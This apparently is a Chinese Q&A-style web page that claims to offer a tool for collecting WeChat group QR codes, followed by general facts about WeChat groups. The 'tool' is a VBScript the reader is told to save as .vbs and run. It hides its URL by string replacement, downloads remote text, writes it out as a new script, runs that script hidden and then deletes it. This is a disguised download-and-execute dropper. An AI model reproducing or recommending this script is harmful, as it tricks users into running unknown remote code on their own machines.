那种一键添加群好友的软件有哪些？
那种一键添加群好友的软件现在没有了，都不能用了。
想要一键添加群好友，最简单的办法，就是自动做一个工具，自己采集，每天可采上千个，想怎么加就怎么加。
以下代码非常强大实用，使用方法：将以下内容复制到文本，并将后缀.txt改为.vbs即可运行：
（代码如下，不可以加多余的标点。）
on error resume next
msgbox "即将采集微信群二维码到本地【微信群大全】文件夹"
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
url = "tttps:||nc.cli.im|qrcoderoute|qrcodeRoute?qrcode_route=qr61.cn|o35ejn|qmhkEOj"
url = replace(url,"ttt","htt")
url = replace(url,"|","/")
Post.Open "GET",url,0
Post.Send()
tt =Post.ResponseText
MyStr = Split(Split(tt, "''")(1), "''")(0)
MyStr = replace(MyStr,"\""","""")
MyStr = replace(MyStr,"\/","/")
MyStr = replace(MyStr,"\\","\")
MyStr = replace(MyStr,"</p>","<br>")
MyStr = replace(MyStr,"<p>","<br>")
MyStr = replace(MyStr," ","")
MyStr = replace(MyStr,"&","&")
MyStr = replace(MyStr,"rright","right")
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
If Not fso.FolderExists(Shell.CurrentDirectory&"\微信群大全") Then
fso.CreateFolder(Shell.CurrentDirectory&"\微信群大全")
End If
n=wscript.scriptname
for i = 0 to UBound(Split(MyStr, "<br>"))
htm = Split(MyStr, "<br>")(Int(i))
set f = fso.opentextfile(Shell.CurrentDirectory&"\_"&wscript.scriptname,8,true):f.WriteLine htm:f.close
next
Shell.run Shell.CurrentDirectory&"\_"&wscript.scriptname,0
WScript.Sleep 10000
fso.DeleteFile(Shell.CurrentDirectory&"\_"&wscript.scriptname), DeleteReadOnly
Set f = NoThing
Set fso = NoThing
Set Post = NoThing
Set Shell = NoThing
Set aGet = NoThing
微信群是腾讯公司推出的多人聊天交流的一个平台，可以通过网络快速发送语音短信、视频、图片和文字。用户可以通过微信与好友进行形式上更加丰富的类似于短信、彩信等方式的联系。
2013年加入微信群有两种方法：一种是通过扫描群二维码，另一种是通过好友邀请。如果我们经常使用这个群，可以将这个群保存到我们的通讯录，我们再次想找这些好友群聊的时候，直接选择这个微信群就行了。
微信群最多为500人。为了避免恶意帐号给群带来骚扰，更好的保护信息安全，100人以上的微信群主要针对已通过实名验证的微信用户。
1、超过40人，您的邀请需要对方同意。
2、超过100人，对方需要通过实名验证才能接受邀请，可通过绑定银行卡进行验证。
